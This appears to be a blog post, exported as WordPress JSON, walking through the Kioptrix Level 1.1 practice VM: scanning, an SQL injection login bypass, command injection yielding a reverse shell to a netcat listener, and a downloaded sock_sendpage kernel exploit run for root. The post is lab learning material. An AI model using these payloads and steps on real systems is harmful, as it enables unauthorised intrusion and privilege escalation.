{"id":199,"date":"2018-01-09T22:40:25","date_gmt":"2018-01-10T03:40:25","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=199"},"modified":"2019-08-28T10:31:19","modified_gmt":"2019-08-28T14:31:19","slug":"kioptrix-level-1-1-2-walkthrough","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/kioptrix-level-1-1-2-walkthrough\/","title":{"rendered":"Kioptrix Level 1.1 (#2) Walkthrough"},"content":{"rendered":"<p>This is the second VM in the Kioptrix series of vulnerable VMs. You can get it from <a href=\"https:\/\/www.vulnhub.com\/entry\/kioptrix-level-11-2,23\/\">VulnHub<\/a>.<\/p>\n<h1>Scanning<\/h1>\n<p>First, let&#8217;s find the host:<\/p>\n<pre>root ~ # netdiscover -i eth1 -r 10.10.1.0\/24\r\n __________________________________________________________________________\r\n IP At MAC Address Count Len MAC Vendor \/ Hostname \r\n --------------------------------------------------------------------------\r\n 10.10.1.1 00:50:56:c0:00:01 1 60 VMware, Inc. \r\n 10.10.1.22 00:0c:29:53:19:4c 1 60 VMware, Inc.<\/pre>\n<p><br class=\"\" \/>Now let&#8217;s nmap scan it (I&#8217;ve cut out a bunch of irrelevant lines):<\/p>\n<pre>root ~ # nmap -sV -O 10.10.1.22\r\nPORT STATE SERVICE VERSION\r\n22\/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)\r\n80\/tcp open http Apache httpd 2.0.52 ((CentOS))\r\n111\/tcp open rpcbind 2 (RPC #100000)\r\n443\/tcp open ssl\/http Apache httpd 2.0.52 ((CentOS))\r\n631\/tcp open ipp CUPS 1.1\r\n3306\/tcp open mysql MySQL (unauthorized)\r\nOS details: Linux 2.6.9 - 2.6.30<\/pre>\n<h1><br class=\"\" \/>Enumeration<\/h1>\n<p>Doing a bit of research shows that\u00a0OpenSSH 3.9p1 &amp; Apache 2.0.52 were released in 2004 and CUPS 1.1 was released in 2000. This VM released in 2011. I might need to look for vulnerabilities in some of these services. For now, I&#8217;m going to check the website. It appears to just be a login page:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/01\/kioptrix2_home.jpg\" alt=\"\" width=\"415\" height=\"204\" class=\"alignnone size-full wp-image-202\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/01\/kioptrix2_home.jpg 415w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/01\/kioptrix2_home-300x147.jpg 300w\" sizes=\"auto, (max-width: 415px) 100vw, 415px\" \/><\/p>\n<p>Port 443 is also open but the HTTPS page is exactly the same. First, I&#8217;ll run dirb to see if there are any other easy to find pages that might be of interest:<\/p>\n<pre>root ~ # dirb http:\/\/10.10.1.22\/\r\n ---- Scanning URL: http:\/\/10.10.1.22\/ ----\r\n + http:\/\/10.10.1.22\/cgi-bin\/ (CODE:403|SIZE:286)\r\n + http:\/\/10.10.1.22\/index.php (CODE:200|SIZE:667)\r\n ==&gt; DIRECTORY: http:\/\/10.10.1.22\/manual\/\r\n + http:\/\/10.10.1.22\/usage (CODE:403|SIZE:283)<\/pre>\n<p><br class=\"\" \/>Nothing good. The \/manual\/ directory is just the Apache manual.<\/p>\n<h1>Exploitation<\/h1>\n<p>The next thing that comes to mind is to try some SQL Injection. After spending some on this, I finally found something that worked. The username can be anything while using this for the password:<\/p>\n<pre>' or '1'='1<\/pre>\n<p><br class=\"\" \/>That takes you to this &#8220;Basic Administrative Web Console&#8221; that lets you ping another machine on the network.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/01\/kioptrix2_admin.jpg\" alt=\"\" width=\"614\" height=\"141\" class=\"alignnone size-full wp-image-206\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/01\/kioptrix2_admin.jpg 614w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/01\/kioptrix2_admin-300x69.jpg 300w\" sizes=\"auto, (max-width: 614px) 100vw, 614px\" \/><\/p>\n<p>This has &#8216;command injection&#8217; written all over it&#8230; I&#8217;ll end the ping command with a semicolon (;) and do something simple like pwd to see if this works.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/01\/kioptrix2_cmd.jpg\" alt=\"\" width=\"615\" height=\"138\" class=\"alignnone size-full wp-image-212\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/01\/kioptrix2_cmd.jpg 615w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/01\/kioptrix2_cmd-300x67.jpg 300w\" sizes=\"auto, (max-width: 615px) 100vw, 615px\" \/><br \/>\n<img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/01\/kioptrix2_result.jpg\" alt=\"\" width=\"246\" height=\"98\" class=\"alignnone size-full wp-image-213\" \/><\/p>\n<p>Great! Now, using <a href=\"http:\/\/pentestmonkey.net\/cheat-sheet\/shells\/reverse-shell-cheat-sheet\">PentestMonkey&#8217;s Reverse Shell Cheat Sheet<\/a>, I&#8217;ll try to get a reverse shell strait from Bash:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/01\/kioptrix2_cmd2.jpg\" alt=\"\" width=\"615\" height=\"138\" class=\"alignnone size-full wp-image-216\" srcset=\"https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/01\/kioptrix2_cmd2.jpg 615w, https:\/\/blog.lamarranet.com\/wp-content\/uploads\/2018\/01\/kioptrix2_cmd2-300x67.jpg 300w\" sizes=\"auto, (max-width: 615px) 100vw, 615px\" \/><\/p>\n<pre>root ~ # nc -lvp 1337\r\nlistening on [any] 1337 ...\r\n10.10.1.22: inverse host lookup failed: Unknown host\r\nconnect to [10.10.1.2] from (UNKNOWN) [10.10.1.22] 32769\r\nbash: no job control in this shell\r\nbash-3.00$<\/pre>\n<h1><br class=\"\" \/>Privilege Escalation<\/h1>\n<p>That was easy&#8230; Let&#8217;s see if we can get root privileges. First, I get the kernel version.<\/p>\n<pre>bash-3.00$ uname -a\r\nLinux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU\/Linux<\/pre>\n<p><br class=\"\" \/>Now, using my favorite place to check for <a href=\"https:\/\/github.com\/lucyoa\/kernel-exploits\">kernel exploits<\/a>, I just used Ctrl+F to search for &#8220;2.6.9&#8221; and found several possibilities. I&#8217;ll spare all the trials &amp; errors I went through to find one that worked. Go to the &#8220;sock_sendpage&#8221; exploit &amp; follow the link to <a href=\"https:\/\/www.exploit-db.com\/exploits\/9435\/\">Exploit-db<\/a>. There&#8217;s a link there to download wunderbar_emporium.tgz. I downloaded this to my Kali VM and started a web server to transfer it to the Kioptrix 2 VM.<\/p>\n<pre>root ~ # wget https:\/\/github.com\/offensive-security\/exploit-database-bin-sploits\/raw\/master\/bin-sploits\/9435.tgz\r\n2018-01-09 21:32:41 (384 KB\/s) - \u20189435.tgz\u2019 saved [3492015\/3492015]\r\n\r\nroot ~ # python -m SimpleHTTPServer 80\r\nServing HTTP on 0.0.0.0 port 80 ...<\/pre>\n<p><br class=\"\" \/>Now I can download &amp; run it on the Kioptrix 2 VM.<\/p>\n<pre>bash-3.00$ cd \/tmp\r\nbash-3.00$ wget http:\/\/10.10.1.2\/wunderbar_emporium.tgz\r\n--22:23:57--  http:\/\/10.10.1.2\/wunderbar_emporium.tgz\r\n           =&gt; `wunderbar_emporium.tgz'\r\nConnecting to 10.10.1.2:80... connected.\r\nHTTP request sent, awaiting response... 200 OK\r\nLength: 3,492,015 (3.3M) [application\/x-gtar-compressed]\r\n\r\n22:23:57 (84.85 MB\/s) - `wunderbar_emporium.tgz' saved [3492015\/3492015]\r\n\r\nbash-3.00$ ls\r\nwunderbar_emporium.tgz\r\nbash-3.00$ tar zxf wunderbar_emporium.tgz\r\nbash-3.00$ ls\r\nwunderbar_emporium\r\nwunderbar_emporium.tgz\r\nbash-3.00$ cd wunderbar_emporium    \r\nbash-3.00$ ls\r\nexploit.c\r\npwnkernel.c\r\ntzameti.avi\r\nwunderbar_emporium.sh\r\nbash-3.00$ chmod +x wunderbar_emporium.sh \r\nbash-3.00$ ls\r\nexploit.c\r\npwnkernel.c\r\ntzameti.avi\r\nwunderbar_emporium.sh\r\nbash-3.00$ .\/wunderbar_emporium.sh \r\nsh: mplayer: command not found\r\nsh: no job control in this shell\r\nsh-3.00# id\r\nuid=0(root) gid=0(root) groups=48(apache)<\/pre>\n<p><br class=\"\" \/>Great success!<\/p>\n","protected":false},"excerpt":{"rendered":"<p>This is the second VM in the Kioptrix series of vulnerable VMs. You can get it from VulnHub. Scanning First, let&#8217;s find the host: root ~ # netdiscover -i eth1<a href=\"https:\/\/blog.lamarranet.com\/index.php\/kioptrix-level-1-1-2-walkthrough\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">Kioptrix Level 1.1 (#2) Walkthrough<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8],"tags":[],"class_list":["post-199","post","type-post","status-publish","format-standard","hentry","category-vulnhub"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/199","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=199"}],"version-history":[{"count":20,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/199\/revisions"}],"predecessor-version":[{"id":227,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/199\/revisions\/227"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=199"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=199"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=199"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}